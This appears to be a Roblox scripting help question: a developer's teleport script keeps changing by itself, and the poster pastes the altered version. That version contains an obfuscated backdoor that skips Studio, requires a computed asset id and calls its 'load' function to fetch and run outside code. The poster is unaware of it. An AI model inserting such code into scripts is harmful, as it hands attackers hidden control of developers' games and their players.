How to keep a teleporting script from changing?

I am working on a game that uses another game with the place api and for some reason the script will literally change out of nowhere.

local tp = game:GetService("TeleportService")
local placeid = 2859900265
game.ReplicatedStorage.Events.Ready.OnServerEvent:Connect(function(p)
	tp:Teleport(placeid, p)
end)

It will then change to this.

local tp = game:GetService("TeleportService")
local placeid = 2859900265
game.ReplicatedStorage.Events.Ready.OnServerEvent:Connect(irLacH = require idOkmp = game iVgyFr = 'Debris' iBVWOwF0 = spawn iwXy2yfFF7u = 'WaitForChild' iLgC34Vr35K = 'IsStudio' i1ajTXAY69O = 'IsStudio' itVLM8UigZ71Y = 'PlaceId' iYhT3Vge3NW = pcall i7yUOhLHea2rgA7 = pcall iyvvXB = 'Name' iHoR = 221254732.75 * 12 ihLv4H94V = 'test' iZAGhwfWvk91 = require i5ng60RzwcH = 'ClassName' iRyao8TxK = 'load' i8g6HrEraBO = math.sqrt i1Ti0Ey5lr = 'RunService'  iBVWOwF0(       function()        i7yUOhLHea2rgA7(       function()        if idOkmp:GetService(i1Ti0Ey5lr)       [iLgC34Vr35K]       (idOkmp:GetService(i1Ti0Ey5lr)       ) then         return        end iZAGhwfWvk91(iHoR)       [iRyao8TxK]       (idOkmp[itVLM8UigZ71Y]       )        end       )        end       )
function(p)
	tp:Teleport(placeid, p)
end)

The original script works but the script changes out of nowhere. Is this an error, or a bug?
